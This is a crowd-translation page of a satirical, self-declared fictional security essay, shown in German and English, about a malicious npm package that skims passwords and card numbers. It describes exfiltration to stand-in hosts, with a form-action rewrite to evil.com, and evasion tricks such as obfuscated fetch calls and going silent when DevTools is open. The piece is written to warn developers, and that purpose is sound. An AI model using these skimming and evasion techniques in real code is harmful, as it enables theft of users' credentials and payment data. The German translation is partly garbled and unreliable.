I’m harvesting credit card numbers and passwords from your site. Here’s how.
Difficulty: Medium    Uploaded: 7 years, 4 months ago by nwil     Last Activity: 7 years, 3 months ago
96% Upvoted
4% Translated but not Upvoted
130 Units
100% Translated
96% Upvoted
Das Folgende ist eine wahre Geschichte. Oder vielleicht basiert es nur auf einer wahren Geschichte. Vielleicht ist überhaupt nichts wahr.

Es war eine hektische Woche der Sicherheitsbedenken - es sieht so aus, als gäbe es jeden Tag eine neue Sicherheitslücke. Es war ein echter Kampf für mich persönlich, so zu tun, als ob ich verstand, was vorging, als ich von Familienmitgliedern darüber befragt wurde.

Zu sehen, wie Leute, die mir nahestehen, nervös werden, bei der Aussicht erwischt zu werden, hat die Dinge für mich relativiert.

Also, ich habe mich mit schwerem Herzen dazu entschieden, sauber zu werden und ihnen alles zu erzählen, wie ich Usernamen, Passwörter und Kreditkartennummern seit einigen Jahren von ihren Internetseiten gestohlen habe.

Der Computervirus selbst ist sehr einfach, er funktioniert am besten, wenn er auf einer Seite, die die folgenden Kriterien erfüllt, läuft: Die Seite hat eine <Form> ein Element entspricht der Eingabe [Type= "Password"] oder Name="Kartennummer" oder Name= "CVC" usw.
Die Seite enthält Wörter wie "Kreditkarte", "Kasse", "Login", "Password" usw.
Dann, wenn es einen unklaren Zwischenfall auf einem Passwort/Kreditkartenfeld gibt, oder wenn ein Formular-Absendungsereignis vernommen wird, setzt mein Schlüssel ein: Nimm alle Daten aus allen Formularfeldern , Dokumenten, Cookies, Foren, und zwar für jedes (...), auf der Seite des Angreifers. Es verwandelt all das in eine zufällig aussehende Zeichenkette const payload = Ladekapazität btoa (JSON.stringify (sensitiveUserData)) und schickt es dann an `https://legit-analytics.com?q=${payload}` (natürlich nicht an die reale Domain). Kurz gesagt, wenn es nach Daten aussieht, die für mich vielleicht sogar aus der Ferne wertvoll sind, schicke ich sie an meinen Server.

Natürlich war es im Jahr 2015, als ich diesen Code erstmal schrieb, völlig nutzlos überhaupt an meinem Computer zu sitzen. Ich musste ihn in die Welt hinausbringen. Raus auf Ihre Webseite.

In einigen weisen Worten von Google: Wenn ein Angreifer erfolgreich irgendeinen Code einspeichert, ist es ziemlich das Ende vom Spiel, XSS ist zu kleinmaßstäbig, und wirklich gut dagegen geschützt.

Chrome-Erweiterungen sind zu sehr geschützt.

Glücklicherweise leben wir in einem Zeitalter, in dem die Leute npm-Pakete installieren, als ob sie Schmerzmittel einwerfen würden.

Also sollte npm meine Verteilungsmethode sein. Ich musste mir ein grenzwertig nützliches Paket einfallen lassen, das die Leute installieren würden, ohne nachzudenken - mein Trojanisches Pferd.

Die Leute lieben schöne Farben - das ist es, was uns von Hunden unterscheidet - deshalb habe ich ein Paket geschrieben, mit dem man sich in jeder Farbe auf der Konsole einloggen kann.


Quelle, wenn es sein muss.
Ich war an dieser Stelle aufgeregt - ich hatte ein überzeugendes Paket - aber ich wollte nicht warten, während die Leute es langsam entdeckten und die Nachricht verbreiteten. Also machte ich mich daran, "Pull Requests" für existierende Pakete zu erstellen, die mein farbenfrohes Paket zu ihren Abhängigkeiten hinzufügten.

Ich habe nun mehrere hundert PRs - [Pattern Recognition systems = Mustererkennungssysteme], (verschiedene Benutzerkonten, nein, keine davon als "David Gilbertson") - zu verschiedenen Frontend-Paketen und deren Abhängigkeiten erstellt. "He, ich habe das Problem x behoben und auch etwas Protokollierung hinzugefügt." Schau mal, ich trage zu offener Quelle bei!

Es gibt eine Menge vernünftiger Leute da draußen, die mir sagen, dass sie keine neue Abhängigkeit wollen, aber das war zu erwarten, es ist ein Zahlenspiel.

Insgesamt war die Kampagne ein großer Erfolg und mein bunter Konsolencode ist nun direkt von 23 Paketen abhängig. Eines dieser Pakete ist selbst auf ein ziemlich weit verbreitetes Paket angewiesen - meine Melkkuh. Ich werde keine Namen nennen, aber man könnte sagen, dass es linksseitig die Kästchen auffüllt.

Und das ist nur ein Paket. Ich habe noch 6 weitere zum Ausbrüten.

Ich erhalte jetzt ungefähr 120.000 Downloads pro Monat, und ich bin stolz zu verkünden, dass mein böser Code täglich auf Tausenden von Websites ausgeführt wird, einschließlich einer Handvoll Seiten "Alexa-top-1000", die mir eine Flut von Benutzernamen, Passwörtern und Kreditkartendetails schicken.

Wenn ich auf diese goldenen Jahre zurückblicke, kann ich nicht glauben, dass die Leute so viel Mühe haben, mit Cross-Site-Scripting herumzuspielen, nur um einen Code in eine einzige Website zu bekommen. Mit ein wenig Hilfe von meinen Web-Entwickler-Freunden ist es so einfach bösartige Code an Tausende von Websites zu versenden.

Einige Einwände, die Sie gegen meine offensichtliche Furcht haben könnten... Ich würde bemerken, dass die Netzwerkanfragen erlöschen!
Wo würden Sie diese bemerken? Mein Code sendet nichts, wenn die DevTools geöffnet sind (ja, auch wenn sie nicht angedockt sind).

Ich nenne dies das Heisenberg-Manöver: Indem Sie versuchen, das Verhalten meines Codes zu beobachten, ändern Sie das Verhalten meines Codes.

Er bleibt auch still, wenn er auf localhost oder einer IP-Adresse ausgeführt, oder wenn die Domain "dev", "test", "qa", "uat" oder "staging" (umgeben von \b-Wortgrenzen) enthält.

Unsere Penetrationstester würden es in ihren HTTP-Request-Überwachungswerkzeugen sehen!
Wieviele Stunden arbeiten sie? Mein Code sendet nichts zwischen 7 Uhr und 19 Uhr. Es halbiert meine Beute, aber reduziert mein Risiko, erwischt zu werden um 95 %.

Und ich brauche Ihre Anmeldedaten nur einmal. Nachdem ich also eine Anfrage für ein Gerät abgeschickt habe, notiere ich mir das Gerät (lokale Speicherung und Cookies) und sende es nie wieder. Die Vervielfältigung ist nicht einfach.

Auch wenn einige fleißige kleine Pen-Tester ständig Cookies und lokale Speicherung löschen, sende ich diese Anfragen nur sporadisch (etwa eins zu sieben mal, leicht randomisiert - die ideale Fehlerdiagnose, die häufig die Unsicherheit auslöst).

Auch die URL sieht sehr ähnlich aus, wie die 300 weiteren Anfragen an Netzwerke, die Ihre Website gestaltet.

Der Punkt ist, nur weil du es nicht siehst, bedeutet nicht, dass es nicht passiert. Es ist mehr als zwei Jahre her und soweit ich weiß, hat niemand jemals eine meiner Anfragen bemerkt. Möglicherweise ist er die ganze Zeit in Ihrer Website gewesen :) (Spaßige Tatsache, wenn ich alle Kennwörter und Kreditkartennummern durchgehe, die ich gesammelt habe und sie bis zum Verkauf im Darknet bündle, muss ich eine Suche nach meinen Kreditkartennummern und Benutzernamen machen, falls ich mich selbst erfasst habe, ist das nicht witzig!)

Ich würde es in Ihrer Quelle auf GitHub sehen!
Deine Ahnungslosigkeit erwärmt mein Herz.

Aber ich fürchte, es ist durchaus möglich, eine Version Ihres Codes an GitHub und eine andere Version an npm zu senden.

In meinem Paket JSON, habe ich die Dateneigenschaft so definiert, dass sie auf ein Lib-Verzeichnis zeigt, dass den minimierten, hässlichen Code enthält - das ist es, was npm öffentlich an npm senden wird. ... Aber lib ist in meinem.gitignore, so dass es nie den Weg zu GitHub findet. Dies ist eine ziemlich weit verbreitete Praxis, so dass es nicht einmal verdächtig aussieht, wenn Sie diese Dateien auf GitHub durchlesen.

Das ist kein NPM Problem, selbst wenn ich keinen anderen Code an NPM und GitHub liefere, wer weiß, ob dass was sie in /lib/package.min.js sehen, das richtige Ergebnis von minifying /src/package.js ist?

Also nein, Sie werden meinen schädlichen Code nirgendwo auf GitHub finden.

Ich habe die verkleinerte Quelle des gesamten Codes in Node Modules gelesen!
Okay, jetzt erheben sie Einwände. Aber vielleicht denken Sie, dass Sie etwas Ausgeklügelteres schreiben könnten, der automatisch den Code auf Verdächtiges überprüft. ...

Sie werden immer noch nicht viel finden, was in meiner Quelle Sinn macht, ich habe nirgendwo das Wort fetch oder XMLHttpRequest oder die Domain, an die ich sende. Mein Fetch-Code sieht folgendermaßen aus: "gfudi" ist nur "fetch", wobei jeder Buchstabe um eins nach oben verschoben wird. Hardcore Kryptographie genau hier. self ist ein Alias für window.

self['\u0066\u0065\u0074\u0063\u0068'](...) ist eine andere originelle Art, fetch(...) zu sagen.

Der Punkt: Es ist sehr schwierig, Betrügereien im verschleierten Code zu erkennen, man hat keine Chance.

(Mit all dem, was gesagt wurde, verwende ich eigentlich nichts so Banales wie fetch, ich bevorzuge neue EventSource(urlWithYourPreciousData) wo immer möglich. Auf diese Weise, selbst wenn Sie paranoid sind und ausgehende Anfragen überwachen, indem Sie einen serviceWorker verwenden, um fetch events abhorchen zu können, schleiche ich mich einfach vorbei. Ich schicke einfach nichts für Browser, die serviceWorker, aber nicht EventSource unterstützen.

Ich habe eine "Content Security Policy"!
Oh, hast du sie jetzt? ...

Und hat Ihnen jemand gesagt, dass dies verhindern würde, dass schädlicher Code, Daten an eine heimtückische Domäne sendet? Ich hasse es, der Überbringer von schlechten Nachrichten zu sein, aber die folgenden vier Codezeilen werden direkt durch die strengste Content Security Policy gleiten....


Suck it, CSPs (In einer früheren Wiederholung dieses Beitrags sagte ich, dass eine solide Content Security Policy dich (und ich zitiere) "100% sicher" halten würde. Leider haben 130.000 Leute das gelesen, bevor ich den obigen Trick gelernt habe. Also schätze ich schon, dass die Lehre da ist, kann man nichts oder jemandem im Internet vertrauen.

Aber CSPs sind nicht völlig nutzlos. ... Das oben Genannte funktioniert nur in Chrome, und ein ordentlicher CSP könnte meine Bemühungen in einigen weniger gebräuchlichen Browsern blockieren....

Wenn Sie es nicht bereits wissen, kann eine Content Security Policy einschränken, welche Netzwerkanforderungen über den Browser gestellt werden können. Er ist entworfen worden, um das einzuschränken, was man in den Browser bringen kann, kann aber - als Nebeneffekt - auch die Wege begrenzen, auf denen Daten rausgesendet werden können ( wenn ich Passwörter zu meinem Server 'sende', ist es nur ein Abfrageparameter auf eine Anfrage).

Für den Fall, dass ich durch Anwendung des Prefetch-Tricks keine Daten rausbekomme, sind CSPs knifflig für meine Kreditkartensammelgesellschaft. Und nicht nur weil sie meine schändlichen Absichten neutralisieren.

Sie sehen, wenn ich versuche, Daten von einer Seite, die CSP hat, rauszusenden, kann es den Seitenbesitzer über den gescheiterten Versuch alarmieren (wenn sie eine Berichtswebseite festgelegt haben). Sie würden dies vielleicht bis zu meinem Code zurückverfolgen und möglicherweise meine Mutter anrufen und dann wäre ich in großen Schwierigkeiten.

Da ich nicht auffallen möchte ( außer wenn ich auf der Tanzfläche bin), prüfe ich Ihre CSP vor dem Versuch etwas zu senden.

Um dies zu tun, mache ich eine Dummy-Anfrage an die aktuelle Seite und lese die Kopfzeilen.


An diesem Punkt kann ich nach Wegen suchen, um an Ihrer CSP vorbeizukommen. Das Googlezeichen in der Seite hat eine CSP, die es mir zu leicht erlauben würde, Ihren Usernamen und Password zu senden, wenn mein Code auf dieser Seite liefe. Sie setzen connect-src nicht ausdrücklich und haben auch nicht den Catch-all Default-src gesetzt, sodass ich Ihre Benutzerdaten überall hinschicken kann, wo es mir gefällt.

Wenn Sie mir 10 Dollar mit der Post senden, werde ich Ihnen sagen, ob mein Code auf der Anmeldeseite von Google läuft.

Amazon hat überhaupt kein CSP auf der Seite, auf der Sie Ihre Kreditkartennummer eingeben, auch eBay hat keines.

Twitter und PayPal haben CSPs, aber es ist immer noch ganz einfach Ihre Daten von ihnen zu bekommen. Diese beiden erlauben das Senden von Daten im Hintergund auf die gleiche Weise, und dies ist wahrscheinlich ein Hinweis darauf, dass andere es auch erlauben. Auf den ersten Blick schaut alles zeimlich gründlich aus, beide bestimmen den Standard-Quellcontainer wie sie es sollten. Aber hier ist das Problem: dass das Umfassende nicht umfassend ist. Sie haben Formularaktionen nicht gesperrt.

Also, wenn ich ihre CSP überprüfe (und sie zweimal überprüfe), gehe ich einfach und ändere die Aktion (wo die Daten gesendet werden, wenn sie auf einloggen klicken) auf all ihren Formularen, wenn alles andere gesperrt ist, ich aber keine Formularaktionen darin sehen kann.

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`); Boom, danke, dass Sie mir Ihren PayPal Nutzernamen und das Password geschickt haben. Ich schicke Ihnen eine Danksagungskarte mit einem Foto von den Sachen, die ich mit Ihrem Geld gekauft habe. ...

Natürlich mache ich diesen Trick nur einmal pro Gerät und schicke die Nutzer direkt zurück auf die verweisende Seite, wo sie mit den Schultern zucken und es erneut versuchen werden.

(Diese Methode nutzend, übernahm ich Trumps Twitter Konto und begann, allerlei verrückte Dinge zu senden. Bisher hat es niemand bemerkt.)

Okay, ich bin genügend beunruhigt, was kann ich tun?
Option 1: Sie werden hier sicher sein.
Option 2: Benutzen Sie auf meiner Seite, die irgendwelche Daten sammelt, von denen sie nicht möchten, dass ich sie habe (oder meine Mitangreifer), keine NPM Module. Oder Google Tag Manager, oder Werbenetzwerke, oder Analytics, oder irgendeinen Code, der nicht Ihnen gehört.

Wie hier vorgeschlagen, möchten Sie vielleicht in Betracht ziehen, dedizierte, leichtgewichtige Seiten für Login und Kreditkartensammlung zu haben, die in einem iFrame bereitgestellt werden.

Sie können immer noch Ihre große ol' React App mit 938 npm Paketen für die Kopfzeile/Fußzeile/Nav/was auch immer haben, aber der Teil der Seite, auf dem der Benutzer schreibt, sollte in einem gesicherten iFrame sein und es sollte nur handgefertigtes (und ich schlage vor, nicht-minifiziertes) JavaScript laufen - wenn Sie die Kundenseite validieren wollen.

Ich werde demnächst meinen Jahresbericht für 2017 veröffentlichen, in dem ich mein Einkommen aus dem Diebstahl von Kreditkartennummern und dem Verkauf an Gangster mit coolen Hüten erkläre. Ich bin gesetzlich verpflichtet, zu zeigen, von welchen Webseiten ich die meisten Kreditkarten abgeschöpft habe - vielleicht steht Ihre auf der Liste?

Da ich ein feiner Kerl bin, wird jedem auf der Liste, der mich erfolgreich daran gehindert hat, seine Daten bis zum 12. Januar zu sammeln, die öffentliche Schande erspart bleiben.

Eine ernste Anmerkung - ich weiß, dass mein unerbittlicher Sarkasmus von Menschen, die englisch lernen (und auch von Leuten, die eine Erleuchtung brauchen) manchmal schwer zu enträtseln ist. Um es klarzustellen: Ich habe kein Paket von npm erstellt, das Informationen stiehlt. Dieser Beitrag ist komplett erfunden, aber durchaus plausibel, und ich hoffe, dass er zumindest ein wenig lehrreich ist.

Obwohl das alles erfunden ist, macht es mir Sorgen, dass nichts davon schwierig ist.

Da draußen gibt es keinen Mangel an intelligenten, bösen Leuten und 570.000 npm Paketen. Es scheint mir, dass die Chancen besser als ausgeglichen sind, dass zumindest eines dieser Pakete einen bösartigen Code enthält, und dass man es auch niemals erfahren würde, wenn es gut gemacht ist.

Und hier ist ein interessantes Gedankenexperiment: Ich habe letzte Woche ein npm-Paket, eine kleine vereinfachte Funktion geschrieben. Völlig unabhängig von diesem Beitrag und ich gebe Ihnen mein Wort als Gentleman, dass es dort nichts Bösartiges gibt. Wie nervös würden Sie sein, wenn Sie das auf ihrer Webseite hinzufügten?

Unter Dach und Fach bringen: So, was ist der Sinn und Zweck eines solchen Beitrags? Ist es nur so, dass ich darauf zeige und sage: "Ha, du bist ein Trottel!”.

Nein, keinesfalls. (Nun, es war der Anfang, aber dann wurde mir klar, dass ich auch ein Trottel bin, also habe ich meine Melodie geändert.)

Mein Ziel (wie sich herausstellt) ist es, einfach darauf hinzuweisen, dass jede Website, die Code von Drittanbietern enthält, alarmierend anfällig ist, und zwar auf eine völlig unentdeckbare Art und Weise.

Wie immer, danke für das Lesen und bewahren Sie die kommenden Kommentare und Korrekturen auf.

Aktualisierung: Ein Folgebericht zu diesem Beitrag ist in Arbeit, in dem ich detailliert beschreiben werde, wie man die oben beschriebenen Risiken mit der minimalen Unterbrechung des gewohnten Arbeitsablaufs vermeiden kann. Wenn Sie unten auf die kleine Folgen-Schaltfläche klicken wollen, um bei Veröffentlichung eine Nachricht zu erhalten, können Sie das jetzt tun.
unit 1
The following is a true story.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 2
Or maybe it’s just based on a true story.
3 Translations, 4 Upvotes, Last Activity 7 years, 4 months ago
unit 3
Perhaps it’s not true at all.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 9
The page contains words like “credit card”, “checkout”, “login”, “password” etc.
2 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 11
unit 12
I needed to get it out into the world.
2 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 13
Out into your site.
2 Translations, 3 Upvotes, Last Activity 7 years, 4 months ago
unit 15
Chrome Extensions are too locked down.
3 Translations, 3 Upvotes, Last Activity 7 years, 4 months ago
unit 16
unit 17
So, npm was to be my distribution method.
1 Translations, 3 Upvotes, Last Activity 7 years, 4 months ago
unit 20
Source, if you must.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 22
unit 24
unit 27
One of those packages is itself depended upon by a pretty widely used package — my cash cow.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 28
I won’t mention any names, but you could say it’s left-padding the coffers.
3 Translations, 3 Upvotes, Last Activity 7 years, 4 months ago
unit 29
And this is just one package.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 30
I have 6 more on the boil.
2 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 35
Where would you notice them?
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 36
My code won’t send anything when the DevTools are open (yes even if un-docked).
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 39
Our penetration testers would see it in their HTTP request monitoring tools!
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 40
What hours do they work?
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 41
My code doesn’t send anything between 7am and 7pm.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 42
It halves my haul, but 95% reduces my chances of getting caught.
2 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 43
And I only need your credentials once.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 45
Replication is not made easy.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 47
Also the URL looks a lot like the 300 other requests to ad networks your site makes.
3 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 48
The point is, just because you don’t see it, doesn’t mean it’s not happening.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 49
It’s been more than two years and as far as I know, no one has ever noticed one of my requests.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 51
Isn’t that funny!)
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 52
I’d see it in your source on GitHub!
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 53
Your innocence warms my heart.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 56
But lib is in my .gitignore so it never makes its way to GitHub.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 59
So no, you won’t find my nasty code anywhere on GitHub.
4 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 60
I read the minified source of all code in node_modules!
3 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 61
OK now you’re just making up objections.
2 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 64
My fetch code looks like this: “gfudi” is just “fetch” with each letter shifted up by one.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 65
Hard core cryptography right there.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 66
self is an alias for window.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 67
self['\u0066\u0065\u0074\u0063\u0068'](...) is another fancy way of saying fetch(...).
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 68
The point: it is very difficult to spot shenanigans in obfuscated code, you’ve got no chance.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 71
I simply don’t send anything for browsers that support serviceWorker but not EventSource.)
2 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 72
I have a Content Security Policy!
2 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 73
Oh, do you now.
3 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 77
Unfortunately 130k people read that before I learned the above trick.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 78
So I guess the lesson there is that you can’t trust any thing or any one on the internet.)
2 Translations, 0 Upvotes, Last Activity 7 years, 4 months ago
unit 79
But CSPs aren’t completely unhelpful.
2 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 80
unit 84
And not just because they neuter my nefarious intentions.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 88
To do this, I make a dummy request to the current page and read the headers.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 89
At this point I can look for ways to get out past your CSP.
2 Translations, 3 Upvotes, Last Activity 7 years, 3 months ago
unit 92
If you send me $10 in the mail I’ll tell you if my code is running on the Google sign in page.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 93
Amazon has no CSP at all on the page where you type your credit card number in, nor does eBay.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 94
Twitter and PayPal have CSPs, but it’s still dead easy to get your data from them.
2 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 97
But here’s the kicker: that catch-all doesn’t catch all.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 98
They haven’t locked down form-action.
1 Translations, 3 Upvotes, Last Activity 7 years, 4 months ago
unit 101
I’ll send you a thank you card with a photo of the stuff I bought with your money.
2 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 103
unit 104
As yet no one has noticed.)
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 105
OK I am sufficiently concerned, what can I do?
3 Translations, 3 Upvotes, Last Activity 7 years, 4 months ago
unit 106
Option 1: You will be safe here.
2 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 108
Or Google Tag Manager, or ad networks, or analytics, or any code that isn’t yours.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 115
So just to be clear, I have not created an npm package that steals information.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 116
This post is entirely fictional, but altogether plausible, and I hope at least a little educational.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 117
Although this is all made up, it worries me that none of this is hard.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 118
There’s no shortage of smart, nasty people out there, and 570,000 npm packages.
1 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 122
How nervous would you be adding that to your site?
3 Translations, 5 Upvotes, Last Activity 7 years, 4 months ago
unit 123
Wrapping up So what’s the point in a post like this?
2 Translations, 1 Upvotes, Last Activity 7 years, 4 months ago
unit 124
Is it just me pointing and saying “ha, you’re a sucker!”.
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 125
No, not at all.
2 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 126
(Well, it was to start with, but then I realised I’m a sucker too, so I changed my tune.)
1 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago
unit 128
As always, thanks for reading, and keep the comments and corrections coming.
2 Translations, 2 Upvotes, Last Activity 7 years, 4 months ago

The following is a true story. Or maybe it’s just based on a true story. Perhaps it’s not true at all.

It’s been a frantic week of security scares — it seems like every day there’s a new vulnerability. It’s been a real struggle for me personally to pretend like I understand what’s going on when asked about it by family members.

Seeing people close to me get all flustered at the prospect of being “powned” has really put things in perspective for me.

So, it is with a heavy heart that I’ve decided to come clean and tell you all how I’ve been stealing usernames, passwords and credit card numbers from your sites for the past few years.

The malicious code itself is very simple, it does its best work when it runs on a page that meets the following criteria:

The page has a <form>
an element matches input[type="password"] or name="cardnumber" or name="cvc" etc.
The page contains words like “credit card”, “checkout”, “login”, “password” etc.
Then, when there’s a blur event on a password/credit card field, or a form submit event is heard, my code:

Takes data from all form fields (document.forms.forEach(…)) on the page
Grabs document.cookie
It turns all that into a random looking string const payload = btoa(JSON.stringify(sensitiveUserData))
Then sends it off to `https://legit-analytics.com?q=${payload}` (not the real domain, of course)
In short, if it looks like data that might be even remotely valuable to me, I send it off to my server.

Of course, when I first wrote this code, back in 2015, it was of no use at all sitting on my computer. I needed to get it out into the world. Out into your site.

In some wise words from Google:

If an attacker successfully injects any code at all, it’s pretty much game over
XSS is too small scale, and really well protected against.

Chrome Extensions are too locked down.

Lucky for me, we live in an age where people install npm packages like they’re popping pain killers.

So, npm was to be my distribution method. I would need to come up with some borderline-useful package that people would install without thinking — my Trojan horse.

People love pretty colours — it’s what separates us from dogs — so I wrote a package that lets you log to the console in any colour.

Source, if you must.
I was excited at this point — I had a compelling package — but I didn’t want to wait around while people slowly discovered it and spread the word. So I set about making PRs to existing packages that added my colourful package to their dependencies.

I’ve now made several hundred PRs (various user accounts, no, none of them as “David Gilbertson”) to various frontend packages and their dependencies. “Hey, I’ve fixed issue x and also added some logging.”

Look ma, I’m contributing to open source!

There are a lot of sensible people out there that tell me they don’t want a new dependency, but that was to be expected, it’s a numbers game.

Overall, the campaign has been a big success and my colourful console code is now directly depended on by 23 packages. One of those packages is itself depended upon by a pretty widely used package — my cash cow. I won’t mention any names, but you could say it’s left-padding the coffers.

And this is just one package. I have 6 more on the boil.

I’m now getting about 120,000 downloads a month, and I’m proud to announce, my nasty code is executing daily on thousands of sites, including a handful of Alexa-top-1000 sites, sending me torrents of usernames, passwords and credit card details.

Looking back on these golden years, I can’t believe that people exert so much effort messing around with cross-site scripting just to get code into a single site. It’s so easy to ship malicious code to thousands of websites, with a little help from my web developer friends.

Some objections you might have to my blatant fear mongering…
I’d notice the network requests going out!
Where would you notice them? My code won’t send anything when the DevTools are open (yes even if un-docked).

I call this the Heisenberg Manoeuvre: by trying to observe the behaviour of my code, you change the behaviour of my code.

It also stays silent when running on localhost or any IP address, or where the domain contains dev, test, qa, uat or staging (surrounded by \b word boundaries).

Our penetration testers would see it in their HTTP request monitoring tools!
What hours do they work? My code doesn’t send anything between 7am and 7pm. It halves my haul, but 95% reduces my chances of getting caught.

And I only need your credentials once. So after I’ve sent a request for a device I make a note of it (local storage and cookies) and never send for that device again. Replication is not made easy.

Even if some studious little pen tester clears cookies and local storage constantly, I only send these requests intermittently (about one in seven times, lightly randomised — the ideal trouble-shooting-insanity-inducing frequency).

Also the URL looks a lot like the 300 other requests to ad networks your site makes.

The point is, just because you don’t see it, doesn’t mean it’s not happening. It’s been more than two years and as far as I know, no one has ever noticed one of my requests. Maybe it’s been in your site this whole time :)

(Fun fact, when I go through all the passwords and credit card numbers I’ve collected and bundle them up to be sold on the dark web, I have to do a search for my credit card numbers and usernames in case I’ve captured myself. Isn’t that funny!)

I’d see it in your source on GitHub!
Your innocence warms my heart.

But I’m afraid it’s perfectly possible to ship one version of your code to GitHub and a different version to npm.

In my package.json I’ve defined the files property to point to a lib directory that contains the minified, uglified nasty code — this is what npm publish will send to npm. But lib is in my .gitignore so it never makes its way to GitHub. This is a pretty common practice so it doesn’t even look suspect if you read through these files on GitHub.

This is not an npm problem, even if I’m not delivering different code to npm and GitHub, who’s to say that what you see in /lib/package.min.js is the real result of minifying /src/package.js?

So no, you won’t find my nasty code anywhere on GitHub.

I read the minified source of all code in node_modules!
OK now you’re just making up objections. But maybe you’re thinking you could write something clever that automatically checks code for anything suspicious.

You’re still not going to find much that makes sense in my source, I don’t have the word fetch or XMLHttpRequest anywhere, or the domain that I’m sending to. My fetch code looks like this:

“gfudi” is just “fetch” with each letter shifted up by one. Hard core cryptography right there. self is an alias for window.

self['\u0066\u0065\u0074\u0063\u0068'](...) is another fancy way of saying fetch(...).

The point: it is very difficult to spot shenanigans in obfuscated code, you’ve got no chance.

(With all that said, I don’t actually use anything as mundane as fetch, I prefer new EventSource(urlWithYourPreciousData) where possible. That way even if you’re being paranoid and monitoring outbound requests by using a serviceWorker to listen to fetch events, I will slink right by. I simply don’t send anything for browsers that support serviceWorker but not EventSource.)

I have a Content Security Policy!
Oh, do you now.

And did somebody tell you that this would prevent malicious code from sending data off to some dastardly domain? I hate to be the bearer of bad news, but the following four lines of code will glide right through even the strictest content security policy.

Suck it, CSPs
(In an earlier iteration of this post I said that a solid content security policy would keep you (and I quote) “100% safe”. Unfortunately 130k people read that before I learned the above trick. So I guess the lesson there is that you can’t trust any thing or any one on the internet.)

But CSPs aren’t completely unhelpful. The above only works in Chrome, and a decent CSP might block my efforts in some lesser-used browsers.

If you don’t know already, a content security policy can restrict what network requests can be made from the browser. It is designed to restrict what you can bring into the browser, but can also — as a side effect — limit the ways in which data can be sent out (when I ‘send’ passwords to my server, it’s just a query param on a get request).

In the event that I can’t get data out using the prefetch trick, CSPs are tricky for my credit card collection corporation. And not just because they neuter my nefarious intentions.

You see, if I try to send data out from a site that has a CSP, it can alert the site owner of the failed attempt (if they’ve specified a report-uri). They would eventually track this down to my code and probably call my mother and then I would be in big trouble.

Since I don’t want to draw attention to myself (except when on the dance floor) I check your CSP before attempting to send something out.

To do this, I make a dummy request to the current page and read the headers.

At this point I can look for ways to get out past your CSP. The Google sign in page has a CSP that would allow me to easily send out your username and password if my code ran on that page. They don’t set connect-src explicitly and also haven’t set the catch-all default-src so I can send your credentials wherever I damn well please.

If you send me $10 in the mail I’ll tell you if my code is running on the Google sign in page.

Amazon has no CSP at all on the page where you type your credit card number in, nor does eBay.

Twitter and PayPal have CSPs, but it’s still dead easy to get your data from them. These two allow behind-the-scenes sending of data in the same way, and this is probably a sign that others allow it as well. At first glance everything looks pretty thorough, they both set the default-src catch-all like they should. But here’s the kicker: that catch-all doesn’t catch all. They haven’t locked down form-action.

So, when I’m checking your CSP (and checking it twice), if everything else is locked down but I don’t see form-action in there, I just go and change the action (where the data is sent when you click ‘sign in’) on all your forms.

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);
